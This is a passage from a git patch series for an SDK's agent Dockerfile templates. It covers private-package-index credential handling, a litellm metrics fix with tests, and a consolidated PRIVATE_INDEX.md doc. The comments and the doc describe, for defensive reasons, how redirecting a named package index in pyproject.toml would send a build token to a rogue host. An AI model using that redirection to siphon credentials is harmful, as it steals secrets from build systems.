's#.*index-url = https://aws:\([^@]*\)@.*#\1#p' /run/secrets/codeartifact-pip-conf \ | python3 -c 'import sys,urllib.parse;print(urllib.parse.unquote(sys.stdin.read().strip()))')"; \ diff --git a/src/agentex/lib/cli/templates/temporal-pydantic-ai/Dockerfile-uv.j2 b/src/agentex/lib/cli/templates/temporal-pydantic-ai/Dockerfile-uv.j2 index bf0e1e3d5..bb1a726c5 100644 --- a/src/agentex/lib/cli/templates/temporal-pydantic-ai/Dockerfile-uv.j2 +++ b/src/agentex/lib/cli/templates/temporal-pydantic-ai/Dockerfile-uv.j2 @@ -50,11 +50,21 @@ COPY {{ project_path_from_build_root }}/pyproject.toml ./ # url = "" # default = true # +# UV_INDEX re-binds that name to the URL the BROKER supplied, overriding whatever URL +# the project declared for it. Without this the credential follows the name wherever +# pyproject.toml points it: uv sends the token to any host declared under the name +# `scale-pypi`, so a one-line edit to a project file — far less conspicuous in review +# than a change to this Dockerfile — would exfiltrate it. Verified both ways against a +# local server: without UV_INDEX the rogue host receives `Basic aws:`; with it +# the rogue host is never contacted. The URL carries no userinfo; the token travels +# only in UV_INDEX_SCALE_PYPI_PASSWORD. +# # The token is percent-decoded on the way out: the buildspec URL-encodes it into the # pip config's URL userinfo, so a token containing + / = arrives as %2B %2F %3D. RUN --mount=type=cache,target=/root/.cache/uv \ --mount=type=secret,id=codeartifact-pip-conf,required=false \ if [ -s /run/secrets/codeartifact-pip-conf ]; then \ + export UV_INDEX="scale-pypi=$(sed -n 's#.*index-url = https://aws:[^@]*@\(.*\)#https://\1#p' /run/secrets/codeartifact-pip-conf | head -1)"; \ export UV_INDEX_SCALE_PYPI_USERNAME=aws; \ export UV_INDEX_SCALE_PYPI_PASSWORD="$(sed -n 's#.*index-url = https://aws:\([^@]*\)@.*#\1#p' /run/secrets/codeartifact-pip-conf \ | python3 -c 'import sys,urllib.parse;print(urllib.parse.unquote(sys.stdin.read().strip()))')"; \ @@ -68,6 +78,7 @@ COPY {{ project_path_from_build_root }}/project ./project RUN --mount=type=cache,target=/root/.cache/uv \ --mount=type=secret,id=codeartifact-pip-conf,required=false \ if [ -s /run/secrets/codeartifact-pip-conf ]; then \ + export UV_INDEX="scale-pypi=$(sed -n 's#.*index-url = https://aws:[^@]*@\(.*\)#https://\1#p' /run/secrets/codeartifact-pip-conf | head -1)"; \ export UV_INDEX_SCALE_PYPI_USERNAME=aws; \ export UV_INDEX_SCALE_PYPI_PASSWORD="$(sed -n 's#.*index-url = https://aws:\([^@]*\)@.*#\1#p' /run/secrets/codeartifact-pip-conf \ | python3 -c 'import sys,urllib.parse;print(urllib.parse.unquote(sys.stdin.read().strip()))')"; \ diff --git a/src/agentex/lib/cli/templates/temporal/Dockerfile-uv.j2 b/src/agentex/lib/cli/templates/temporal/Dockerfile-uv.j2 index bf0e1e3d5..bb1a726c5 100644 --- a/src/agentex/lib/cli/templates/temporal/Dockerfile-uv.j2 +++ b/src/agentex/lib/cli/templates/temporal/Dockerfile-uv.j2 @@ -50,11 +50,21 @@ COPY {{ project_path_from_build_root }}/pyproject.toml ./ # url = "" # default = true # +# UV_INDEX re-binds that name to the URL the BROKER supplied, overriding whatever URL +# the project declared for it. Without this the credential follows the name wherever +# pyproject.toml points it: uv sends the token to any host declared under the name +# `scale-pypi`, so a one-line edit to a project file — far less conspicuous in review +# than a change to this Dockerfile — would exfiltrate it. Verified both ways against a +# local server: without UV_INDEX the rogue host receives `Basic aws:`; with it +# the rogue host is never contacted. The URL carries no userinfo; the token travels +# only in UV_INDEX_SCALE_PYPI_PASSWORD. +# # The token is percent-decoded on the way out: the buildspec URL-encodes it into the # pip config's URL userinfo, so a token containing + / = arrives as %2B %2F %3D. RUN --mount=type=cache,target=/root/.cache/uv \ --mount=type=secret,id=codeartifact-pip-conf,required=false \ if [ -s /run/secrets/codeartifact-pip-conf ]; then \ + export UV_INDEX="scale-pypi=$(sed -n 's#.*index-url = https://aws:[^@]*@\(.*\)#https://\1#p' /run/secrets/codeartifact-pip-conf | head -1)"; \ export UV_INDEX_SCALE_PYPI_USERNAME=aws; \ export UV_INDEX_SCALE_PYPI_PASSWORD="$(sed -n 's#.*index-url = https://aws:\([^@]*\)@.*#\1#p' /run/secrets/codeartifact-pip-conf \ | python3 -c 'import sys,urllib.parse;print(urllib.parse.unquote(sys.stdin.read().strip()))')"; \ @@ -68,6 +78,7 @@ COPY {{ project_path_from_build_root }}/project ./project RUN --mount=type=cache,target=/root/.cache/uv \ --mount=type=secret,id=codeartifact-pip-conf,required=false \ if [ -s /run/secrets/codeartifact-pip-conf ]; then \ + export UV_INDEX="scale-pypi=$(sed -n 's#.*index-url = https://aws:[^@]*@\(.*\)#https://\1#p' /run/secrets/codeartifact-pip-conf | head -1)"; \ export UV_INDEX_SCALE_PYPI_USERNAME=aws; \ export UV_INDEX_SCALE_PYPI_PASSWORD="$(sed -n 's#.*index-url = https://aws:\([^@]*\)@.*#\1#p' /run/secrets/codeartifact-pip-conf \ | python3 -c 'import sys,urllib.parse;print(urllib.parse.unquote(sys.stdin.read().strip()))')"; \ diff --git a/src/agentex/lib/core/adapters/llm/_genai_metrics.py b/src/agentex/lib/core/adapters/llm/_genai_metrics.py index 90823a7fe..3c2293cd6 100644 --- a/src/agentex/lib/core/adapters/llm/_genai_metrics.py +++ b/src/agentex/lib/core/adapters/llm/_genai_metrics.py @@ -17,7 +17,7 @@ the OpenAI client, we name that, and ``call()`` stands down if the client instrumentor is already recording. When litellm routes natively there is no such overlap, so we record. That decision is made per call, from the model string, in -:func:`_transport_for`. +:func:`_split_model`. Everything here is fail-open: sgp-obs is an optional dependency and a telemetry problem must never fail a model call. If the import fails, :func:`inference_call` returns an @@ -59,7 +59,28 @@ def _split_model(model: str) -> tuple[str, bool]: return (vendor or _DEFAULT_VENDOR), proxied or vendor == _DEFAULT_VENDOR -def inference_call(kwargs: dict[str, Any]) -> Any: +def resolve_model(args: tuple[Any, ...], kwargs: dict[str, Any]) -> str: + """The model for a litellm call, whether it arrived by keyword or positionally. + + ``litellm.acompletion`` takes ``model`` as its FIRST positional argument, and the + gateway forwards ``*args`` untouched, so ``gateway.acompletion("anthropic/claude- + sonnet-4", messages)`` is a legal call that puts the model in ``args[0]``. + + Reading only ``kwargs`` there does not merely mislabel the vendor, it loses the + measurement: an empty model resolves to the default vendor "openai", which sets + ``transport=OPENAI``, which makes ``call()`` stand down for the OpenAI client + instrumentor — while litellm routes natively to Anthropic and never touches that + client. Nothing records it and nothing says so. + """ + model = kwargs.get("model") + if not model and args: + model = args[0] + # Positional args are forwarded verbatim, so args[0] is whatever the caller passed; + # only a string can be a litellm model name. + return model if isinstance(model, str) else "" + + +def inference_call(kwargs: dict[str, Any], args: tuple[Any, ...] = ()) -> Any: """Begin recording one litellm call. Never raises, never returns None.""" try: # See sgp_obs_setup.py: optional, not publicly installable, absent in CI. @@ -74,12 +95,12 @@ def inference_call(kwargs: dict[str, Any]) -> Any: return _NULL_CALL try: - model = kwargs.get("model") or "" - vendor, over_openai_client = _split_model(str(model)) + model = resolve_model(args, kwargs) + vendor, over_openai_client = _split_model(model) return genai.call( provider=vendor, operation=genai.CHAT, - model=str(model), + model=model, # litellm normalises every vendor's response onto the OpenAI shape, so one # parser reads them all — which is exactly what `spec` separates from the # `provider` label. diff --git a/src/agentex/lib/core/adapters/llm/adapter_litellm.py b/src/agentex/lib/core/adapters/llm/adapter_litellm.py index 9993cf069..8fb1602aa 100644 --- a/src/agentex/lib/core/adapters/llm/adapter_litellm.py +++ b/src/agentex/lib/core/adapters/llm/adapter_litellm.py @@ -40,7 +40,7 @@ async def acompletion(self, *args, **kwargs) -> Completion: # `async with`, not try/except: asyncio.CancelledError is a BaseException, so a # caller that disappears mid-flight would skip an `except Exception` handler and # the record would be silently dropped. - async with inference_call(kwargs) as call: + async with inference_call(kwargs, args) as call: # Return a single completion for non-streaming response = call.observe(await llm.acompletion(*args, **kwargs)) return Completion.model_validate(response) @@ -52,7 +52,7 @@ async def acompletion_stream( if not kwargs.get("stream"): raise ValueError("To use streaming, please set stream=True in the kwargs") - async with inference_call(kwargs) as call: + async with inference_call(kwargs, args) as call: # observe() takes ownership of the stream and yields the same chunks, so it # can read time-to-first-chunk and the token totals off the last chunk. # Wrapping only the `await` would return before the first chunk arrived and diff --git a/src/agentex/lib/core/adapters/llm/tests/test_genai_metrics.py b/src/agentex/lib/core/adapters/llm/tests/test_genai_metrics.py index 808c6a2a0..b4276fdb1 100644 --- a/src/agentex/lib/core/adapters/llm/tests/test_genai_metrics.py +++ b/src/agentex/lib/core/adapters/llm/tests/test_genai_metrics.py @@ -16,7 +16,11 @@ import pytest from agentex.lib.core.adapters.llm import _genai_metrics -from agentex.lib.core.adapters.llm._genai_metrics import _split_model, inference_call +from agentex.lib.core.adapters.llm._genai_metrics import ( + _split_model, + resolve_model, + inference_call, +) class TestSplitModel: @@ -113,3 +117,58 @@ def exploding(**_kwargs): monkeypatch.setitem(sys.modules, "sgp_obs", type(sys)("sgp_obs")) monkeypatch.setitem(sys.modules, "sgp_obs.metrics", module) assert inference_call({"model": "gpt-4o"}) is _genai_metrics._NULL_CALL + + +class TestResolveModel: + """litellm takes `model` as its FIRST positional argument and the gateway forwards + *args untouched, so a positional call is legal and must still be measured. + + Reading only kwargs does not merely mislabel the vendor: an empty model resolves to + the default vendor "openai", which sets transport=OPENAI, which makes call() stand + down for the OpenAI client instrumentor — while litellm routes natively to Anthropic + and never touches that client. Nothing records it and nothing says so. + """ + + def test_keyword_model(self): + assert resolve_model((), {"model": "gpt-4o"}) == "gpt-4o" + + def test_positional_model(self): + assert resolve_model(("anthropic/claude-sonnet-4",), {}) == "anthropic/claude-sonnet-4" + + def test_keyword_wins_over_positional(self): + """litellm itself would reject both, but if it ever resolved one, the keyword is + the explicit intent.""" + assert resolve_model(("a/b",), {"model": "c/d"}) == "c/d" + + def test_no_model_at_all(self): + assert resolve_model((), {}) == "" + + def test_a_non_string_first_arg_is_not_a_model(self): + """*args is forwarded verbatim, so args[0] is whatever the caller passed.""" + assert resolve_model(([{"role": "user"}],), {}) == "" + + def test_positional_native_vendor_does_not_stand_down(self, monkeypatch): + """The regression this guards: a positional Anthropic model must be recorded by + the gateway, because nothing else will.""" + seen = {} + + class _Genai: + CHAT = "chat" + OPENAI_SPEC = "openai" + OPENAI = "openai" + + @staticmethod + def call(**kwargs): + seen.update(kwargs) + return _genai_metrics._NULL_CALL + + module = type(sys)("sgp_obs.metrics") + module.genai = _Genai + monkeypatch.setitem(sys.modules, "sgp_obs", type(sys)("sgp_obs")) + monkeypatch.setitem(sys.modules, "sgp_obs.metrics", module) + + inference_call({}, ("anthropic/claude-sonnet-4",)) + assert seen["model"] == "anthropic/claude-sonnet-4" + assert seen["provider"] == "anthropic" + # Empty transport == "no OpenAI-client overlap, so record it here". + assert seen["transport"] == "" From 45e4ecc9322df51e6b578311e229362397efada1 Mon Sep 17 00:00:00 2001 From: Sirui Wang Date: Fri, 11 Sep 2026 17:37:10 -0700 Subject: [PATCH 11/15] docs(templates): one private-index doc instead of the same comment 38 times MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Two problems with how the private-index wiring was documented. TEAM-RUNBOOK is not public, so pointing generated agent Dockerfiles at it sends the reader somewhere they cannot go. Replaced with the two references that do resolve: SGPINF-1568, and the PRD, both linked from the new doc. And the explanation was pasted into all 38 templates — roughly twenty comment lines apiece, restating the named-index requirement, the percent-decode, and the UV_INDEX pinning. That is 38 copies to keep in sync, and it buried the four lines of shell that actually do something. Now: PRIVATE_INDEX.md carries it once, and each Dockerfile keeps a short pointer plus the ticket. Net 608 deletions against 190 insertions. The pointer names the doc rather than giving a relative path, deliberately. These Dockerfiles are copied into generated agent repos, where `templates/PRIVATE_INDEX.md` would dangle; SGPINF-1568 resolves from anywhere and the filename is findable. Also dropped stale `agentex-sdk[obs]` references from the template comments — that extra does not exist; sgp-obs is the agent's own dependency. No behaviour change: all 38 templates still render as jinja, all 138 RUN bodies still pass `sh -n`, every template still carries the mount and the ticket reference. Co-Authored-By: Claude Opus 5 --- .../lib/cli/templates/PRIVATE_INDEX.md | 62 +++++++++++++++++++ .../default-claude-code/Dockerfile-uv.j2 | 29 ++------- .../default-claude-code/Dockerfile.j2 | 13 ++-- .../templates/default-codex/Dockerfile-uv.j2 | 29 ++------- .../cli/templates/default-codex/Dockerfile.j2 | 13 ++-- .../default-langgraph/Dockerfile-uv.j2 | 29 ++------- .../templates/default-langgraph/Dockerfile.j2 | 13 ++-- .../default-openai-agents/Dockerfile-uv.j2 | 29 ++------- .../default-openai-agents/Dockerfile.j2 | 13 ++-- .../default-pydantic-ai/Dockerfile-uv.j2 | 29 ++------- .../default-pydantic-ai/Dockerfile.j2 | 13 ++-- .../cli/templates/default/Dockerfile-uv.j2 | 29 ++------- .../lib/cli/templates/default/Dockerfile.j2 | 13 ++-- .../sync-claude-code/Dockerfile-uv.j2 | 29 ++------- .../templates/sync-claude-code/Dockerfile.j2 | 13 ++-- .../cli/templates/sync-codex/Dockerfile-uv.j2 | 29 ++------- .../cli/templates/sync-codex/Dockerfile.j2 | 13 ++-- .../templates/sync-langgraph/Dockerfile-uv.j2 | 29 ++------- .../templates/sync-langgraph/Dockerfile.j2 | 13 ++-- .../Dockerfile-uv.j2 | 29 ++------- .../Dockerfile.j2 | 13 ++-- .../sync-openai-agents/Dockerfile-uv.j2 | 29 ++------- .../sync-openai-agents/Dockerfile.j2 | 13 ++-- .../sync-pydantic-ai/Dockerfile-uv.j2 | 29 ++------- .../templates/sync-pydantic-ai/Dockerfile.j2 | 13 ++-- .../lib/cli/templates/sync/Dockerfile-uv.j2 | 29 ++------- .../lib/cli/templates/sync/Dockerfile.j2 | 13 ++-- .../temporal-claude-code/Dockerfile-uv.j2 | 29 ++------- .../temporal-claude-code/Dockerfile.j2 | 13 ++-- .../templates/temporal-codex/Dockerfile-uv.j2 | 29 ++------- .../templates/temporal-codex/Dockerfile.j2 | 13 ++-- .../temporal-langgraph/Dockerfile-uv.j2 | 29 ++------- .../temporal-langgraph/Dockerfile.j2 | 13 ++-- .../temporal-openai-agents/Dockerfile-uv.j2 | 29 ++------- .../temporal-openai-agents/Dockerfile.j2 | 13 ++-- .../temporal-pydantic-ai/Dockerfile-uv.j2 | 29 ++------- .../temporal-pydantic-ai/Dockerfile.j2 | 13 ++-- .../cli/templates/temporal/Dockerfile-uv.j2 | 29 ++------- .../lib/cli/templates/temporal/Dockerfile.j2 | 13 ++-- 39 files changed, 252 insertions(+), 608 deletions(-) create mode 100644 src/agentex/lib/cli/templates/PRIVATE_INDEX.md diff --git a/src/agentex/lib/cli/templates/PRIVATE_INDEX.md b/src/agentex/lib/cli/templates/PRIVATE_INDEX.md new file mode 100644 index 000000000..922107f9e --- /dev/null +++ b/src/agentex/lib/cli/templates/PRIVATE_INDEX.md @@ -0,0 +1,62 @@ +# The private package index in scaffold Dockerfiles + +Every scaffold Dockerfile mounts a build secret named `codeartifact-pip-conf`. It lets an agent +install Scale-internal packages — `sgp-obs`, for instance — that are not on public PyPI, without the +build holding any registry credential of its own. The control-plane broker mints a short-lived +CodeArtifact token per build and injects it as that secret. + +- Design: [Private Package Access for Customer Agents (PRD)](https://app.notion.com/p/Private-Package-Access-for-Customer-Agents-PRD-3ad904d6e6cb802cb091df1c25e230bc) +- Tracking: [SGPINF-1568](https://linear.app/scale-epd/issue/SGPINF-1568/provide-scale-internal-packages-to-agentex-agents-in-customer) + +## It is inert by default + +The mount is `required=false` and guarded by `[ -s ... ]`, so with no secret injected the build is +byte-identical to one without any of this. That covers every local build, every CI build, and every +agent that never opts in. An empty secret file is skipped too. + +## Opting in + +Add the index to the agent's `pyproject.toml`: + +```toml +[[tool.uv.index]] +name = "scale-pypi" +url = "" +default = true +``` + +The name must be exactly `scale-pypi`. uv applies `UV_INDEX_SCALE_PYPI_USERNAME` / +`UV_INDEX_SCALE_PYPI_PASSWORD` to the index of that name, so renaming it makes the credentials +silently stop applying. Setting `UV_INDEX_URL` instead does not authenticate a *named* index at +all, and the resolve fails with a 401. + +## Three things that are easy to get wrong + +**The token arrives percent-encoded.** The buildspec URL-encodes it to embed it in the pip config's +URL userinfo, so a token containing `+`, `/` or `=` arrives as `%2B`, `%2F`, `%3D`. The `uv sync` +templates decode it before exporting it as a password. Passing it through still-encoded sends a +different string and the resolve 401s. + +**The credential must not follow project-controlled configuration.** uv binds credentials by index +*name*, and the name-to-URL mapping would otherwise come from the agent's own `pyproject.toml` — so a +project that pointed `scale-pypi` at another host would receive the token. Verified against a local +server: the rogue host receives `Authorization: Basic aws:` and the real index is never +contacted. The templates therefore export `UV_INDEX` to re-bind the name to the URL the *broker* +supplied, which overrides whatever the project declared. With that in place the rogue host is never +contacted. The pinned URL carries no userinfo; the token still travels only in +`UV_INDEX_SCALE_PYPI_PASSWORD`. + +The case this defends is not a malicious agent author — they also write the Dockerfile and could read +the mounted secret directly. It is a *contributed* change to a project file, where a one-line URL edit +is far less conspicuous in review than an exfiltration command in a Dockerfile. + +**The two template variants work differently, deliberately.** + +| Template | Install step | How the credential is supplied | +| --- | --- | --- | +| `Dockerfile-uv.j2` | `uv sync` against the agent's `pyproject.toml` | Named index `scale-pypi`, pinned via `UV_INDEX`, token decoded into `UV_INDEX_SCALE_PYPI_PASSWORD` | +| `Dockerfile.j2` | `uv pip install -r requirements.txt` | No pyproject is present, so there is no named index to bind to. The credentialed URL is used directly via `UV_DEFAULT_INDEX` | + +The `requirements.txt` variant does **not** decode the token, and that is the point: it stays inside +the URL, already encoded for exactly that use. Decoding it there would corrupt it. It is also not +exposed to the redirection problem above, because the URL comes wholly from the injected secret. diff --git a/src/agentex/lib/cli/templates/default-claude-code/Dockerfile-uv.j2 b/src/agentex/lib/cli/templates/default-claude-code/Dockerfile-uv.j2 index 16fcfa13a..8a22d0f89 100644 --- a/src/agentex/lib/cli/templates/default-claude-code/Dockerfile-uv.j2 +++ b/src/agentex/lib/cli/templates/default-claude-code/Dockerfile-uv.j2 @@ -34,31 +34,12 @@ WORKDIR /app/{{ project_path_from_build_root }} COPY {{ project_path_from_build_root }}/pyproject.toml ./ # Install dependencies (without project itself, for layer caching) -# Optional private index for `agentex-sdk[obs]` and other Scale-internal packages -# (TEAM-RUNBOOK / SGPINF-1568). Inert unless the control-plane broker injects the -# secret, so local builds, CI builds, and agents that never opt in are unaffected. +# Optional private index for Scale-internal packages such as sgp-obs, injected by the +# control-plane broker (SGPINF-1568). Inert unless the secret is present, so local +# builds, CI builds, and agents that never opt in are unaffected. # -# To opt in, add this to the agent's pyproject.toml. The index name must be exactly -# `scale-pypi`, because that is what binds the credentials exported below; rename it -# and they silently stop applying. Exporting UV_INDEX_URL instead does not -# authenticate a named index at all, and the resolve 401s. -# -# [[tool.uv.index]] -# name = "scale-pypi" -# url = "" -# default = true -# -# UV_INDEX re-binds that name to the URL the BROKER supplied, overriding whatever URL -# the project declared for it. Without this the credential follows the name wherever -# pyproject.toml points it: uv sends the token to any host declared under the name -# `scale-pypi`, so a one-line edit to a project file — far less conspicuous in review -# than a change to this Dockerfile — would exfiltrate it. Verified both ways against a -# local server: without UV_INDEX the rogue host receives `Basic aws:`; with it -# the rogue host is never contacted. The URL carries no userinfo; the token travels -# only in UV_INDEX_SCALE_PYPI_PASSWORD. -# -# The token is percent-decoded on the way out: the buildspec URL-encodes it into the -# pip config's URL userinfo, so a token containing + / = arrives as %2B %2F %3D. +# To opt in, and for why UV_INDEX is pinned to the broker's URL rather than trusting +# the project's, see PRIVATE_INDEX.md in the agentex-sdk CLI templates directory. RUN --mount=type=cache,target=/root/.cache/uv \ --mount=type=secret,id=codeartifact-pip-conf,required=false \ if [ -s /run/secrets/codeartifact-pip-conf ]; then \ diff --git a/src/agentex/lib/cli/templates/default-claude-code/Dockerfile.j2 b/src/agentex/lib/cli/templates/default-claude-code/Dockerfile.j2 index 173622e49..3556f6dfd 100644 --- a/src/agentex/lib/cli/templates/default-claude-code/Dockerfile.j2 +++ b/src/agentex/lib/cli/templates/default-claude-code/Dockerfile.j2 @@ -33,15 +33,12 @@ COPY {{ project_path_from_build_root }}/requirements.txt /app/{{ project_path_fr WORKDIR /app/{{ project_path_from_build_root }} -# Optional private index for `agentex-sdk[obs]` and other Scale-internal packages -# (TEAM-RUNBOOK / SGPINF-1568). Inert unless the control-plane broker injects the -# secret, so local builds, CI builds, and agents that never opt in are unaffected. +# Optional private index for Scale-internal packages such as sgp-obs, injected by the +# control-plane broker (SGPINF-1568). Inert unless the secret is present. # -# This template installs from requirements.txt, so no pyproject.toml is present for -# uv to read a named index out of — unlike Dockerfile-uv.j2, which uses the named -# `scale-pypi` index. The credentialed URL is taken straight from the injected pip -# config instead. That is also why nothing is percent-decoded here: the token stays -# inside the URL, already encoded for exactly that use. +# This variant installs from requirements.txt, so there is no pyproject.toml for uv to +# read a named index out of; the credentialed URL is used directly and is deliberately +# NOT decoded. See PRIVATE_INDEX.md in the agentex-sdk CLI templates directory. # # Install the required Python packages RUN --mount=type=secret,id=codeartifact-pip-conf,required=false \ diff --git a/src/agentex/lib/cli/templates/default-codex/Dockerfile-uv.j2 b/src/agentex/lib/cli/templates/default-codex/Dockerfile-uv.j2 index 8b6adeab3..b3c03c988 100644 --- a/src/agentex/lib/cli/templates/default-codex/Dockerfile-uv.j2 +++ b/src/agentex/lib/cli/templates/default-codex/Dockerfile-uv.j2 @@ -34,31 +34,12 @@ WORKDIR /app/{{ project_path_from_build_root }} COPY {{ project_path_from_build_root }}/pyproject.toml ./ # Install dependencies (without project itself, for layer caching) -# Optional private index for `agentex-sdk[obs]` and other Scale-internal packages -# (TEAM-RUNBOOK / SGPINF-1568). Inert unless the control-plane broker injects the -# secret, so local builds, CI builds, and agents that never opt in are unaffected. +# Optional private index for Scale-internal packages such as sgp-obs, injected by the +# control-plane broker (SGPINF-1568). Inert unless the secret is present, so local +# builds, CI builds, and agents that never opt in are unaffected. # -# To opt in, add this to the agent's pyproject.toml. The index name must be exactly -# `scale-pypi`, because that is what binds the credentials exported below; rename it -# and they silently stop applying. Exporting UV_INDEX_URL instead does not -# authenticate a named index at all, and the resolve 401s. -# -# [[tool.uv.index]] -# name = "scale-pypi" -# url = "" -# default = true -# -# UV_INDEX re-binds that name to the URL the BROKER supplied, overriding whatever URL -# the project declared for it. Without this the credential follows the name wherever -# pyproject.toml points it: uv sends the token to any host declared under the name -# `scale-pypi`, so a one-line edit to a project file — far less conspicuous in review -# than a change to this Dockerfile — would exfiltrate it. Verified both ways against a -# local server: without UV_INDEX the rogue host receives `Basic aws:`; with it -# the rogue host is never contacted. The URL carries no userinfo; the token travels -# only in UV_INDEX_SCALE_PYPI_PASSWORD. -# -# The token is percent-decoded on the way out: the buildspec URL-encodes it into the -# pip config's URL userinfo, so a token containing + / = arrives as %2B %2F %3D. +# To opt in, and for why UV_INDEX is pinned to the broker's URL rather than trusting +# the project's, see PRIVATE_INDEX.md in the agentex-sdk CLI templates directory. RUN --mount=type=cache,target=/root/.cache/uv \ --mount=type=secret,id=codeartifact-pip-conf,required=false \ if [ -s /run/secrets/codeartifact-pip-conf ]; then \ diff --git a/src/agentex/lib/cli/templates/default-codex/Dockerfile.j2 b/src/agentex/lib/cli/templates/default-codex/Dockerfile.j2 index d75e418e1..c0b3fc385 100644 --- a/src/agentex/lib/cli/templates/default-codex/Dockerfile.j2 +++ b/src/agentex/lib/cli/templates/default-codex/Dockerfile.j2 @@ -33,15 +33,12 @@ COPY {{ project_path_from_build_root }}/requirements.txt /app/{{ project_path_fr WORKDIR /app/{{ project_path_from_build_root }} -# Optional private index for `agentex-sdk[obs]` and other Scale-internal packages -# (TEAM-RUNBOOK / SGPINF-1568). Inert unless the control-plane broker injects the -# secret, so local builds, CI builds, and agents that never opt in are unaffected. +# Optional private index for Scale-internal packages such as sgp-obs, injected by the +# control-plane broker (SGPINF-1568). Inert unless the secret is present. # -# This template installs from requirements.txt, so no pyproject.toml is present for -# uv to read a named index out of — unlike Dockerfile-uv.j2, which uses the named -# `scale-pypi` index. The credentialed URL is taken straight from the injected pip -# config instead. That is also why nothing is percent-decoded here: the token stays -# inside the URL, already encoded for exactly that use. +# This variant installs from requirements.txt, so there is no pyproject.toml for uv to +# read a named index out of; the credentialed URL is used directly and is deliberately +# NOT decoded. See PRIVATE_INDEX.md in the agentex-sdk CLI templates directory. # # Install the required Python packages RUN --mount=type=secret,id=codeartifact-pip-conf,required=false \ diff --git a/src/agentex/lib/cli/templates/default-langgraph/Dockerfile-uv.j2 b/src/agentex/lib/cli/templates/default-langgraph/Dockerfile-uv.j2 index 541438ed9..9b4f8d25b 100644 --- a/src/agentex/lib/cli/templates/default-langgraph/Dockerfile-uv.j2 +++ b/src/agentex/lib/cli/templates/default-langgraph/Dockerfile-uv.j2 @@ -30,31 +30,12 @@ WORKDIR /app/{{ project_path_from_build_root }} COPY {{ project_path_from_build_root }}/pyproject.toml ./ # Install dependencies (without project itself, for layer caching) -# Optional private index for `agentex-sdk[obs]` and other Scale-internal packages -# (TEAM-RUNBOOK / SGPINF-1568). Inert unless the control-plane broker injects the -# secret, so local builds, CI builds, and agents that never opt in are unaffected. +# Optional private index for Scale-internal packages such as sgp-obs, injected by the +# control-plane broker (SGPINF-1568). Inert unless the secret is present, so local +# builds, CI builds, and agents that never opt in are unaffected. # -# To opt in, add this to the agent's pyproject.toml. The index name must be exactly -# `scale-pypi`, because that is what binds the credentials exported below; rename it -# and they silently stop applying. Exporting UV_INDEX_URL instead does not -# authenticate a named index at all, and the resolve 401s. -# -# [[tool.uv.index]] -# name = "scale-pypi" -# url = "" -# default = true -# -# UV_INDEX re-binds that name to the URL the BROKER supplied, overriding whatever URL -# the project declared for it. Without this the credential follows the name wherever -# pyproject.toml points it: uv sends the token to any host declared under the name -# `scale-pypi`, so a one-line edit to a project file — far less conspicuous in review -# than a change to this Dockerfile — would exfiltrate it. Verified both ways against a -# local server: without UV_INDEX the rogue host receives `Basic aws:`; with it -# the rogue host is never contacted. The URL carries no userinfo; the token travels -# only in UV_INDEX_SCALE_PYPI_PASSWORD. -# -# The token is percent-decoded on the way out: the buildspec URL-encodes it into the -# pip config's URL userinfo, so a token containing + / = arrives as %2B %2F %3D. +# To opt in, and for why UV_INDEX is pinned to the broker's URL rather than trusting +# the project's, see PRIVATE_INDEX.md in the agentex-sdk CLI templates directory. RUN --mount=type=cache,target=/root/.cache/uv \ --mount=type=secret,id=codeartifact-pip-conf,required=false \ if [ -s /run/secrets/codeartifact-pip-conf ]; then \ diff --git a/src/agentex/lib/cli/templates/default-langgraph/Dockerfile.j2 b/src/agentex/lib/cli/templates/default-langgraph/Dockerfile.j2 index 7c6d72ed9..7f148e274 100644 --- a/src/agentex/lib/cli/templates/default-langgraph/Dockerfile.j2 +++ b/src/agentex/lib/cli/templates/default-langgraph/Dockerfile.j2 @@ -29,15 +29,12 @@ COPY {{ project_path_from_build_root }}/requirements.txt /app/{{ project_path_fr WORKDIR /app/{{ project_path_from_build_root }} -# Optional private index for `agentex-sdk[obs]` and other Scale-internal packages -# (TEAM-RUNBOOK / SGPINF-1568). Inert unless the control-plane broker injects the -# secret, so local builds, CI builds, and agents that never opt in are unaffected. +# Optional private index for Scale-internal packages such as sgp-obs, injected by the +# control-plane broker (SGPINF-1568). Inert unless the secret is present. # -# This template installs from requirements.txt, so no pyproject.toml is present for -# uv to read a named index out of — unlike Dockerfile-uv.j2, which uses the named -# `scale-pypi` index. The credentialed URL is taken straight from the injected pip -# config instead. That is also why nothing is percent-decoded here: the token stays -# inside the URL, already encoded for exactly that use. +# This variant installs from requirements.txt, so there is no pyproject.toml for uv to +# read a named index out of; the credentialed URL is used directly and is deliberately +# NOT decoded. See PRIVATE_INDEX.md in the agentex-sdk CLI templates directory. # # Install the required Python packages RUN --mount=type=secret,id=codeartifact-pip-conf,required=false \ diff --git a/src/agentex/lib/cli/templates/default-openai-agents/Dockerfile-uv.j2 b/src/agentex/lib/cli/templates/default-openai-agents/Dockerfile-uv.j2 index 541438ed9..9b4f8d25b 100644 --- a/src/agentex/lib/cli/templates/default-openai-agents/Dockerfile-uv.j2 +++ b/src/agentex/lib/cli/templates/default-openai-agents/Dockerfile-uv.j2 @@ -30,31 +30,12 @@ WORKDIR /app/{{ project_path_from_build_root }} COPY {{ project_path_from_build_root }}/pyproject.toml ./ # Install dependencies (without project itself, for layer caching) -# Optional private index for `agentex-sdk[obs]` and other Scale-internal packages -# (TEAM-RUNBOOK / SGPINF-1568). Inert unless the control-plane broker injects the -# secret, so local builds, CI builds, and agents that never opt in are unaffected. +# Optional private index for Scale-internal packages such as sgp-obs, injected by the +# control-plane broker (SGPINF-1568). Inert unless the secret is present, so local +# builds, CI builds, and agents that never opt in are unaffected. # -# To opt in, add this to the agent's pyproject.toml. The index name must be exactly -# `scale-pypi`, because that is what binds the credentials exported below; rename it -# and they silently stop applying. Exporting UV_INDEX_URL instead does not -# authenticate a named index at all, and the resolve 401s. -# -# [[tool.uv.index]] -# name = "scale-pypi" -# url = "" -# default = true -# -# UV_INDEX re-binds that name to the URL the BROKER supplied, overriding whatever URL -# the project declared for it. Without this the credential follows the name wherever -# pyproject.toml points it: uv sends the token to any host declared under the name -# `scale-pypi`, so a one-line edit to a project file — far less conspicuous in review -# than a change to this Dockerfile — would exfiltrate it. Verified both ways against a -# local server: without UV_INDEX the rogue host receives `Basic aws:`; with it -# the rogue host is never contacted. The URL carries no userinfo; the token travels -# only in UV_INDEX_SCALE_PYPI_PASSWORD. -# -# The token is percent-decoded on the way out: the buildspec URL-encodes it into the -# pip config's URL userinfo, so a token containing + / = arrives as %2B %2F %3D. +# To opt in, and for why 